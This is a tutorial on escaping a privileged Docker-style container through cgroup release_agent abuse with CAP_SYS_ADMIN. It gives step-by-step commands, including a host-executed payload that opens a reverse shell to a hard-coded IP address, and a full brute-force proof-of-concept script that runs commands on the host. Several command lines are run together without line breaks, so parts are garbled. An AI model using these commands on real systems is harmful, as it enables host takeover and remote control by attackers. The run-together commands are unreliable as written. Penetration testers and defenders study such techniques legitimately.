Container breakout: CAP_SYS_ADMIN via Creating a cgroup and using unshare utility
Prerequisites:
- We need to be root inside the container.
- CAP_SYS_ADMIN capability should be there.
- The container filesystem should not be mounted as read-only
- We should be able to find any valid path within host filesystem to access container files.(alternative below)
- We should have mount permissions.
First Way(Finding host filesystem path via /etc/mtab file)-
Steps-
a) Listing capabilities within container-
capa=`cat /proc/1/status | grep -i 'CapEff' | awk '{print $2}'`; capsh --decode=$capa
b) Creating a cgroup, child group x and configuring notify_on_release
mkdir /tmp/cgrpmount -t cgroup -o memory cgroup /tmp/cgrpmkdir /tmp/cgrp/xecho 1 > /tmp/cgrp/x/notify_on_releasehost_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtabecho "$host_path/cmd" > /tmp/cgrp/release_agent
Writing payload to /cmd file and assigning current process to the the newly created cgroup by writing its PID to the cgroup.procs
echo '#!/bin/sh' > /cmd
echo "sh -i >& /dev/tcp/9.42.116.123/443 0>&1" >> /cmdchmod a+x /cmdsh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
And we will get reverse shell of host.
Second Way(using bruteforcing to find proccess id which inturn gives relative path to host file system)
If we run a process within container
and check its /proc/<pid>/root it will point to root of container.
We can use this relative path /proc/<real_pid>/root which resolves to / of container from host.
Let’s see an example-
- Create a file within a container root.
2. Now we can access this file from host by using container process’s /proc/<real_pid/host_pid>/root/whereami
3. We accessed a file within a container from host using a container process!!
4. The only thing which we need is to guess the real_pid/host_pid of container process which is not much difficult if use automation.
5. POC(https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
#!/bin/sh
OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &
# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__
# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}
# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
References: